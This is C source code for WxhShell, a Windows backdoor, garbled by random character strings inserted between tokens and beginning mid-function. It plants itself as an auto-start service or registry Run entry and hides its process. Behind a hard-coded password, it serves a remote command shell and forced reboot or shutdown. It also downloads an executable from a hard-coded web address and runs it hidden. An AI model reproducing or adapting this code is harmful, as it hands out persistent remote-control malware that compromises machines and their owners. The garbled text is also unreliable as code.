vGi<" Sn7 if(NULL == hInst ) return 0; oZ2:% NV./p`k g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (A?>U_@ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); YW7w>}aW NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %f;v$rsZ HB )+.e if (!NtQueryInformationProcess) return 0; "[
S[vkI x;W!sO@$ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qXtC7uNj$ if(!hProcess) return 0; cpk\;1&t =Z.0-C>W if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?eTZ>o.p/ 7Q!ksp CloseHandle(hProcess); [7><^?t
V diXWm-ZKL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #f(a,,Uu' if(hProcess==NULL) return 0; .M:&Aj)x16
(7X HMODULE hMod; QI[WXxp char procName[255]; uT]$R unsigned long cbNeeded; _EMXx4J ?Q_ @@) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q# j[0,^ $ ?sHZeWZ( CloseHandle(hProcess); g}`g>&l5 q!W,2xqZoq if(strstr(procName,"services")) return 1; // 以服务启动 gbMA-r:IC Vn_&q6Pa return 0; // 注册表启动 f8-`bb } #_ulmB; Ho(MO!( // 主模块 \L>XF'o int StartWxhshell(LPSTR lpCmdLine) #eYYu2ND { 6KGT?d SOCKET wsl; -|'@:cIZ BOOL val=TRUE; -Jd7 int port=0; Z+V%~C1 struct sockaddr_in door; W)1nc"WqY ^X_ ;ZLg. if(wscfg.ws_autoins) Install(); OX.5olb kVLZdXn,q2 port=atoi(lpCmdLine); | K|AUI y3j$?oM if(port<=0) port=wscfg.ws_port; Jm ,:6T FTUfJIVN( WSADATA data; t!wbT79/ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qdQ4%,E[ 6Zpa[,gm if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ot7f?tF2<J setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G9xl-ag+z door.sin_family = AF_INET; iAe"oXK| door.sin_addr.s_addr = inet_addr("127.0.0.1"); #TUm&2 +V door.sin_port = htons(port); @|\;#$?XW3 n$ByTmKxv if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =9,mt
K~ closesocket(wsl); ]+G\1SN~ return 1; Jb{g{a/ } #_\**%,< @mw1__? if(listen(wsl,2) == INVALID_SOCKET) { n%h009-5 closesocket(wsl); z~ Zm1tZs return 1; |j"C52Q } $Ud9v 4 Wxhshell(wsl); "u^2!d WSACleanup(); HpbwW=;V TS#1+f]9J< return 0; =_&,^h@'3e Z3o HOy } bh"
Caz.(t .\H-?6R^ // 以NT服务方式启动 C=;}7g VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w*'DlP<7 { gD%o0jt" DWORD status = 0; ^Zs^ DWORD specificError = 0xfffffff; =l2 @'Y Q dw#pObH|` serviceStatus.dwServiceType = SERVICE_WIN32; YeJTB} serviceStatus.dwCurrentState = SERVICE_START_PENDING; `!N.1RP _ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }#Up:o]A! serviceStatus.dwWin32ExitCode = 0; n{|j#j serviceStatus.dwServiceSpecificExitCode = 0; yo5-x"ze serviceStatus.dwCheckPoint = 0; /p;OZf] serviceStatus.dwWaitHint = 0; GQ
Flt_ rSDI.m hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'n{=`e(}cI if (hServiceStatusHandle==0) return; (xfy?N 3I'7+?@@l status = GetLastError(); `0s3to%7 if (status!=NO_ERROR) xz: { xNY&*jI serviceStatus.dwCurrentState = SERVICE_STOPPED; |1kA6/ serviceStatus.dwCheckPoint = 0; hRKJKQ@7 serviceStatus.dwWaitHint = 0; -=
c&K& serviceStatus.dwWin32ExitCode = status; _7v4S/V serviceStatus.dwServiceSpecificExitCode = specificError; R(>
oyxA[F SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 3+C;]J return; Hj-n
'XZ } y[f%0*\B l [ m_<1L serviceStatus.dwCurrentState = SERVICE_RUNNING; S41S+#7t* serviceStatus.dwCheckPoint = 0; <F}j;mX serviceStatus.dwWaitHint = 0; Lz9|"F"V if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~A/vP- } <qoc)p=__ NxH%%>o> // 处理NT服务事件,比如:启动、停止 xE_~.EoB VOID WINAPI NTServiceHandler(DWORD fdwControl) </9c=GoJ { BDL[C<d( switch(fdwControl) |I]G=.*E { c-~i=C] case SERVICE_CONTROL_STOP: &6GW9pl[ serviceStatus.dwWin32ExitCode = 0; 9u^za!pE serviceStatus.dwCurrentState = SERVICE_STOPPED; U2Siw serviceStatus.dwCheckPoint = 0; ZdhA:}~^E serviceStatus.dwWaitHint = 0; QeQwmI { uf)!SxT SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ayw {I#" } +IGSOWL
return; &mJm'Ks case SERVICE_CONTROL_PAUSE: 1A] serviceStatus.dwCurrentState = SERVICE_PAUSED; c[6<UkH7 break; gW G>}M@ case SERVICE_CONTROL_CONTINUE: \= 6dF,V serviceStatus.dwCurrentState = SERVICE_RUNNING; )CH\]>-FO break; 7CU<R9Kl case SERVICE_CONTROL_INTERROGATE: 6C_H0a/h& break; j%S}
T)pX }; mg3YKHNG SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZV/g_i# } 9-Qu5L~ H8Ra !FW@ // 标准应用程序主函数 IYr4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) F6{Q1DqI { 93)1 z9Y}[pN // 获取操作系统版本 :2t?0YR OsIsNt=GetOsVer(); :y~l?0b&8 GetModuleFileName(NULL,ExeFile,MAX_PATH); nqYarHi V[*<^% // 从命令行安装 ~c,+)69"T if(strpbrk(lpCmdLine,"iI")) Install(); RLVz "= hs)_h^P
// 下载执行文件 d~CZ9h if(wscfg.ws_downexe) { :Mu]*N if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p?s[I)e WinExec(wscfg.ws_filenam,SW_HIDE); 7?Twhs.O } GKXd"8z] wx/*un%2 if(!OsIsNt) { aH$DEs // 如果时win9x,隐藏进程并且设置为注册表启动 *]S&V'Di HideProc(); HvG~bZN StartWxhshell(lpCmdLine); ,7Q b24A } mj& 4FQ#O* else Wh?3vZ^ if(StartFromService()) T ^`R // 以服务方式启动 *kGk.a= StartServiceCtrlDispatcher(DispatchTable); !5zj+N else \S#![NC // 普通方式启动 DoEN`K\U StartWxhshell(lpCmdLine); Cm6%wAzC $.Qq:(O:6 return 0; d-UQc2r } G/Yqvu,2! #
i|pi'Ij .gwT?O, om0g'Qa =========================================== >`
|sBx H3|x w2]]##J Kb#Z(C9 ^,fMs: u3vw[k " mm`yu$9gbP hRktvO)K #include <stdio.h> *edhJUT #include <string.h> Z=144n 1 #include <windows.h> D0p>Q^w #include <winsock2.h> JN<u4\e{-& #include <winsvc.h> X./7b{Pax #include <urlmon.h> &Y8S! W@4 d+6-ten #pragma comment (lib, "Ws2_32.lib") G4K3qD#+H #pragma comment (lib, "urlmon.lib") WaDdZIz4 V53iWWaFe #define MAX_USER 100 // 最大客户端连接数 lT-LOu| #define BUF_SOCK 200 // sock buffer !-|{B3"6 #define KEY_BUFF 255 // 输入 buffer `yua?n RATW[(ZA #define REBOOT 0 // 重启 8(GJz ~y #define SHUTDOWN 1 // 关机 -W"w 5PT*b}g@ #define DEF_PORT 5000 // 监听端口 5l
/EZ\q w;DRC5V> #define REG_LEN 16 // 注册表键长度 }Lb[`H,}A #define SVC_LEN 80 // NT服务名长度 ~i9'9PHX@ uKpWb1( // 从dll定义API OR-fC typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /U,;]^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \QMRuR. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mT#ebeBaf typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^U{SUWl j |:{ B // wxhshell配置信息 =7%c*O < struct WSCFG { A}(Q^|6 int ws_port; // 监听端口 \9jvQV/y char ws_passstr[REG_LEN]; // 口令 uY$BZEuAZ int ws_autoins; // 安装标记, 1=yes 0=no Jbqm?Fy4X char ws_regname[REG_LEN]; // 注册表键名 J*"G*x#u char ws_svcname[REG_LEN]; // 服务名 wD`jks char ws_svcdisp[SVC_LEN]; // 服务显示名 *gL-v]V char ws_svcdesc[SVC_LEN]; // 服务描述信息 `RLn)a char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ab)X/g-I@ int ws_downexe; // 下载执行标记, 1=yes 0=no Hyz:i)2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" + Awo\;@, char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~&T%u.u7 lX|d:HFtP }; >_LZD4v!< Z'4oE
) // default Wxhshell configuration CUZ
;<Pn struct WSCFG wscfg={DEF_PORT, \6c8Lqa "xuhuanlingzhe", t8upS
u| 1, ~"#[<d "Wxhshell", 1usLCG>w{ "Wxhshell", )2y#
cM* "WxhShell Service", xe!6Pgcb "Wrsky Windows CmdShell Service", C.q4rr "Please Input Your Password: ", .Fn7yTQ% 1, )i*- j= "http://www.wrsky.com/wxhshell.exe", 4lpkq "Wxhshell.exe" s&~i S[ }; -}Q^A_xK _|vY)4B4U // 消息定义模块 <gbm
1iEe char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YgW 50)q^ char *msg_ws_prompt="\n\r? for help\n\r#>"; 9w( Wtw' char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3YOYlb %j char *msg_ws_ext="\n\rExit."; s^Rig[ char *msg_ws_end="\n\rQuit."; +*ZF52hy| char *msg_ws_boot="\n\rReboot..."; A&/YnJ" char *msg_ws_poff="\n\rShutdown..."; u:s[6T0 char *msg_ws_down="\n\rSave to "; ya0D50m tc<ly{ 1c char *msg_ws_err="\n\rErr!"; kF29~ char *msg_ws_ok="\n\rOK!"; 0}iND$6@a q[MZSg char ExeFile[MAX_PATH]; z ,q1TU9 int nUser = 0; 1o%E(*M4I HANDLE handles[MAX_USER]; a\?-uJ+ int OsIsNt; YVS~|4hu?i SdQ"S-H SERVICE_STATUS serviceStatus; rq_0"A SERVICE_STATUS_HANDLE hServiceStatusHandle; 4vbtB2 G [$u`mxV^ // 函数声明 /D&7 \3} int Install(void); /r@~"Rx ' int Uninstall(void); h;?H4j int DownloadFile(char *sURL, SOCKET wsh); 1/%g
VB8 int Boot(int flag); `c%{M4bF\ void HideProc(void); nH7i)!cI~ int GetOsVer(void); BEnIyVU;L int Wxhshell(SOCKET wsl); k9vzxZ%s: void TalkWithClient(void *cs); m6^n8% int CmdShell(SOCKET sock); <maYS2 int StartFromService(void); @fO[{V int StartWxhshell(LPSTR lpCmdLine); l.`f^K=8 A~MIFr /8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ym.:I@b?6 VOID WINAPI NTServiceHandler( DWORD fdwControl ); j$jgEtPK9= +_ZXzzcO< // 数据结构和表定义 8|Vm6*TY&p SERVICE_TABLE_ENTRY DispatchTable[] = ^L"ENsOs { =UMqa;\K {wscfg.ws_svcname, NTServiceMain}, 0s'H(qE,_ {NULL, NULL} ( !=^ (Nd }; z}&JapJ MclW!CmJ // 自我安装 rwSmdJ~ int Install(void) hk.Zn.6A' { |;k@Zlvc char svExeFile[MAX_PATH]; .P5OUK HKEY key; a1yGgT a?D strcpy(svExeFile,ExeFile); }10ZPaHjl+ 0$A7"^] // 如果是win9x系统,修改注册表设为自启动 %RX}sS if(!OsIsNt) { ?'I pR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n+9rx]W, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -K*&I! RegCloseKey(key); !au%D?w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N497"H</ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I`
+%ab RegCloseKey(key); qGrUS_~q* return 0; .T|1l$Jn } nht?58 } 2~(\d\k } E[2>je else { 5w$\x+no 0` \!O(jJ // 如果是NT以上系统,安装为系统服务 dAkJ5\=* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 052ezh_ if (schSCManager!=0) 7IUu] Fi { Gbrc!3K2 SC_HANDLE schService = CreateService IP=."w ( FhVoN} schSCManager, lbUUf} wscfg.ws_svcname, nOj0"c wscfg.ws_svcdisp, # )]L3H< SERVICE_ALL_ACCESS, yON";|*\m SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T>qI,BEY SERVICE_AUTO_START, +o[-ED SERVICE_ERROR_NORMAL, Bq4^nDK svExeFile, g886RhCe NULL,
I("lGY NULL, g;To}0H NULL, j'M=+ NULL, *j"u~ NF NULL FQW{c3%qZ ); *p Q'w if (schService!=0) Vnvfu!>( { vE<z0l CloseServiceHandle(schService); GZCX m+ CloseServiceHandle(schSCManager);
0V[`zOO(o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #$;i 4a strcat(svExeFile,wscfg.ws_svcname); ll8Zo+-[ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
L$Yg*]\ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S?K x:] RegCloseKey(key); %.[jz,;) return 0; |p\vH#6y+ } O\&-3#e } ' zz^!@ CloseServiceHandle(schSCManager); %Z]c[V. } b"7L
;J5| } PRQEk.C 6#za\[ return 1; yHNx,ra } )g
; !IL o`+$h:zm@ // 自我卸载 @r=v*hu int Uninstall(void) Z0#&D&2sV { zPn2 HKEY key; 9_ru*j\ !)-)*T if(!OsIsNt) { g;mX {p_@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A8oTcX_ RegDeleteValue(key,wscfg.ws_regname); o<Y[GW1pg RegCloseKey(key); -lqsFaW if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {;-wXzv` RegDeleteValue(key,wscfg.ws_regname); >^N{ RegCloseKey(key); &8xwR return 0; 3<R8_p } lGZf_X)gA^ } XS oHh- } 4Mck/i2 else { t$zeBOI) N.D7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^<OcbOn;O if (schSCManager!=0) .4O~a { "HwSW4a] SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5 ^867
if (schService!=0) 7I4<Dj { ##r9/`A if(DeleteService(schService)!=0) { W:hg*0z-* CloseServiceHandle(schService); (mOL<h[)IP CloseServiceHandle(schSCManager); rJ=r_v return 0; +L
U.QI' } -Wm'@4bH CloseServiceHandle(schService); ]TX"BH"2 } 3)0z( 30 CloseServiceHandle(schSCManager); gUWW}*\ U } ~`c(7 } T:=ST3#m =;A>1g$ return 1; oo-O>M#5 } ?ytY8`PC a>8&B // 从指定url下载文件 6QM$aLLP? int DownloadFile(char *sURL, SOCKET wsh) K'\Jnn { R>T9 H0 HRESULT hr; CAa&,ZR char seps[]= "/"; j{&$_ char *token; f~t5[D(\Q, char *file; me ,lE- char myURL[MAX_PATH]; KEfwsNSc% char myFILE[MAX_PATH]; yE{\]j|Zf OuMj%I strcpy(myURL,sURL); dC(5I{I| token=strtok(myURL,seps); =)YDjd_=z while(token!=NULL) ?DgeKA"A { V:<Z file=token; >QSlH]M token=strtok(NULL,seps); >1 %|T } 7xh91EU:4 U%r|hn3 GetCurrentDirectory(MAX_PATH,myFILE); !%Bhg? strcat(myFILE, "\\"); Z_Y'
3'^Tw strcat(myFILE, file); @fh:lsw send(wsh,myFILE,strlen(myFILE),0); LMHiiOs, send(wsh,"...",3,0); w`I+4&/h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \N[2-;[3 if(hr==S_OK) >J) 9&? return 0; Uu[dx}y else \5P 5N]] return 1; ;Z.sK-NJ4 p)Fi{%bc } 'y&DOy/| Mb:> // 系统电源模块 YkF52_^_ int Boot(int flag) Rrw6\iO { 8DkZ@} HANDLE hToken; &t,"k'p TOKEN_PRIVILEGES tkp; $bFH%EA. ~xt]g zp{ if(OsIsNt) { "h7Np/ m3 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i6P'_ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p735i`8 tkp.PrivilegeCount = 1; ?h)T\z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WP5Vev9*+ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !:c_i,N if(flag==REBOOT) { >udu~ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F/ui(4 return 0; .L9n } ]]9VI0
else { W4q
|55 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hq
aay return 0; Ij2Th] } \ 0/m$V. } 3?Fe(!@ else { *:?XbtIK u if(flag==REBOOT) { _0o65?F if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[L=M=;{4 return 0; }poLHS/ } 1v inO! else { "Pl.G[Buc- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U;#G$ return 0; s\ e b } %?Q< } HdRwDW@7= yG2rAG_G& return 1; xbzO'C } w ufQyT` n(#[[k9&Ic // win9x进程隐藏模块 49=L9: void HideProc(void) >02p,W6S> { yp]z@SYA@ w1LZ\nA< HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g>QN9v}) if ( hKernel != NULL ) ',!>9Dj { r0s(MyI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (Rsf;VPO ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {wD:!\5 FreeLibrary(hKernel); VV"w{#XKw } 1L%$\0B4hm '.]<lh! return; LKgo(&mY } M_h8{ +z<GycIc?K // 获取操作系统版本 D*'sO B( int GetOsVer(void) B\tm { iL|5}x5\ OSVERSIONINFO winfo; ujf7r`;u. winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M'JCT'(X GetVersionEx(&winfo); Q_`EKz;N{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O~|Y#T return 1; xy]oj else r-No\u_ return 0; piFZu/~Gq\ } MS\?+8|SV( Ec&_& // 客户端句柄模块 "gt1pf~y int Wxhshell(SOCKET wsl) <vt}+uMzXv { xy4P_ SOCKET wsh; 0xH&^Ia1B struct sockaddr_in client; ~9#'s' DWORD myID; q4g)/x%nc F{Oaxn while(nUser<MAX_USER) [WI'oy {
EUW>8kw0 int nSize=sizeof(client); ccT
<UIpq wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wli H3vA_ if(wsh==INVALID_SOCKET) return 1; yIg^iZD
G +AP."M? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u/ri
{neP{ if(handles[nUser]==0) 6!H,(Z]j closesocket(wsh); ?kS#g else `A<2wd; nUser++; X6=o vm } LTuT"}dT[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); c4.2o<(Xt {s{+MbD return 0; pTT00`R } N~P1^x~ 5> !N)pA // 关闭 socket na@Go@q void CloseIt(SOCKET wsh) DGg1TUE { `6(Zc"/
\m closesocket(wsh); yd[4l%G(zS nUser--; |uI~}pSG ExitThread(0); |Xt6`~iC } S0ltj8t :KqSMuKR // 客户端请求句柄 Jp=
)L void TalkWithClient(void *cs) 7>h(M+
/ { "\u<\CL Y@7n>U SOCKET wsh=(SOCKET)cs; DB}v.. char pwd[SVC_LEN]; *BvdL:t char cmd[KEY_BUFF]; S VypR LVB char chr[1]; 5}a.< int i,j; ab`9MJc; 5!aI~(3< while (nUser < MAX_USER) { FL b g _0| `Sm if(wscfg.ws_passstr) { u8gqWsvruM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0`Uw[Er& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "{kE#`c6<n //ZeroMemory(pwd,KEY_BUFF); "{Hl! Zq/ i=0; Zu4au< while(i<SVC_LEN) { Wiw~oXo BAi`{?z$< // 设置超时 v +o6ZNX fd_set FdRead; nJ$2RN struct timeval TimeOut; ].sD#~L_ FD_ZERO(&FdRead); C-g,uARX(r FD_SET(wsh,&FdRead); Z<QNzJ D TimeOut.tv_sec=8; pH(X;OC9S TimeOut.tv_usec=0; sp+'c;a int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jp|eKZ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3!%-O:! E)wf'x if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PXML1.r$Q pwd=chr[0]; e,d}4 jy if(chr[0]==0xd || chr[0]==0xa) { @|s$:;(= pwd=0; :yTr:FoF break; }R%*J } gYbcBb%z i++; <~aKwSF[wW } /%gMzF \UX9[5| // 如果是非法用户,关闭 socket CHq5KB98+ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?9>wG7cps7 } ]68FGH .jiJgUa7 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ] ^?w0A send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C6Cr+TScH Ikw.L while(1) { d[ _@l 0g HV(L?
ZeroMemory(cmd,KEY_BUFF); 'z{|#zd9 w#ZzmO // 自动支持客户端 telnet标准 sLFZ61rT j=0; M8$eMS1 while(j<KEY_BUFF) { 4*IXBi7% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u,{R,hTDS cmd[j]=chr[0]; 4S4gK if(chr[0]==0xa || chr[0]==0xd) { L=fy!R cmd[j]=0; 1yqsE`4f break; q*tGlM@R? } bZ:xH48MY j++; Bs|Xq'1M!; } 6J@,bB
jVz A&M(a // 下载文件 78 ]Kv^l^_ if(strstr(cmd,"http://")) { ;?q}98-2 send(wsh,msg_ws_down,strlen(msg_ws_down),0); X|G[Ma? if(DownloadFile(cmd,wsh)) LbYIRX send(wsh,msg_ws_err,strlen(msg_ws_err),0); [9V}>kS) else B#+n$5#FK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `)4v Q+A> } UFu0{rY_ else { [zXC\)&! Gt
_tL% switch(cmd[0]) { q'4P/2)va cP\z*\dS // 帮助 !Q5,Zhgr case '?': { ew~?&= send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
U@CAQ? break; B}. :7,/0 } nK)1.KVN // 安装 !uO@4]:Y case 'i': { ~j(vGO3JB if(Install()) QgQclML1| send(wsh,msg_ws_err,strlen(msg_ws_err),0); u;!h else D~Ef%!& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KUK.;gG*Z break; 4_sJ0 =z- } ]9)iBvQlj // 卸载 #sBL E case 'r': { 0
f$96sl if(Uninstall()) G
9(*F send(wsh,msg_ws_err,strlen(msg_ws_err),0); -84%6p2- else ngmC~l*, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !M`.(sO] break;
kPiY|EH } mEu2@3^E } // 显示 wxhshell 所在路径 N~fE&@- case 'p': { i*$~uuY char svExeFile[MAX_PATH]; =wW M\f`= strcpy(svExeFile,"\n\r"); |=0w_)Fa] strcat(svExeFile,ExeFile); </@5>hx/ send(wsh,svExeFile,strlen(svExeFile),0); !#WQ8s!?o break; JM?__b7g2 } aG#d41O // 重启 w4CcdpR case 'b': { *OdmKVw6G send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =S\^j" if(Boot(REBOOT)) 8F[ ;ma>Z8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); '+Z Jf&Ox else { Ge=^q. closesocket(wsh); *s-s1v ExitThread(0); UNF\k1[ } >~]|o break; R4R\B } :T?WN+3 // 关机 EJMd[hMhe case 'd': { r<Z .J/a send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Eb@**% if(Boot(SHUTDOWN)) esE!i0% send(wsh,msg_ws_err,strlen(msg_ws_err),0); <[-{:dH,5 else { I )vR closesocket(wsh); at{p4Sl ExitThread(0); {.p;V } ?U[6X|1 break; %&VI-7+K }
(n~fe-?}8 // 获取shell FN<>L0 case 's': { /W-ges CmdShell(wsh); S[yrGX8lu closesocket(wsh); VpAwvMw ExitThread(0); @ext6cFe3< break; kksffzG } [!wJIy?, // 退出 iY?#R& case 'x': { q~5zv4NX send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bZ:+q1
D CloseIt(wsh); *PV7s break; \`["IkSg7 } X>Q4 4FV! // 离开 K(PSGlI f case 'q': { ]!P8 {xmb@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); S]|sKY closesocket(wsh); "S6";G^I WSACleanup(); V|B4lGS& exit(1); 64mD%URT break; G4P*U3&p } \'[tfSB } Ii5U)" }
!sEhjJV^7 1 I.P7_/ // 提示信息 ~Ey+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
FXn98UF Y } "4Q_F3?_` } r-L& ee L@=$0p41; return; #Y3-P } b=\chCRJJ WQ8 "Jj?k6 // shell模块句柄 WFV'^-4 int CmdShell(SOCKET sock) *` wz { ,%N[FZ`| STARTUPINFO si; xP9h$! ZeroMemory(&si,sizeof(si)); 4e
eh+T si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RXcN<Y&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !G[%; d PROCESS_INFORMATION ProcessInfo; \,X)!%6kZ char cmdline[]="cmd"; dI%ho<zm] CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ma@V>*u return 0; #qF1z}L( } =Hn--DEMg r)Lm| S
// 自身启动模式 .I_<\h7 int StartFromService(void) 5p}j{f { 4k3pm& typedef struct $oM>?h_= { 1L'Q;?&2H, DWORD ExitStatus; 3RGmmX"?G DWORD PebBaseAddress; @R%qP>_ DWORD AffinityMask; IQtQf_"e1 DWORD BasePriority; {r;_nMfH|[ ULONG UniqueProcessId; kRwUR34yc ULONG InheritedFromUniqueProcessId; X=abaKl } PROCESS_BASIC_INFORMATION; f~Pce||e irq{ 21 PROCNTQSIP NtQueryInformationProcess; uKXD(lzX "M-';; static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9$e$L~I#u static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l4r>#n\yj ];6955I! HANDLE hProcess; 0asP,)i PROCESS_BASIC_INFORMATION pbi; N6u>V~i @#N7M2/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ] dJ"_ if(NULL == hInst ) return 0; ~&RrlF h ?< |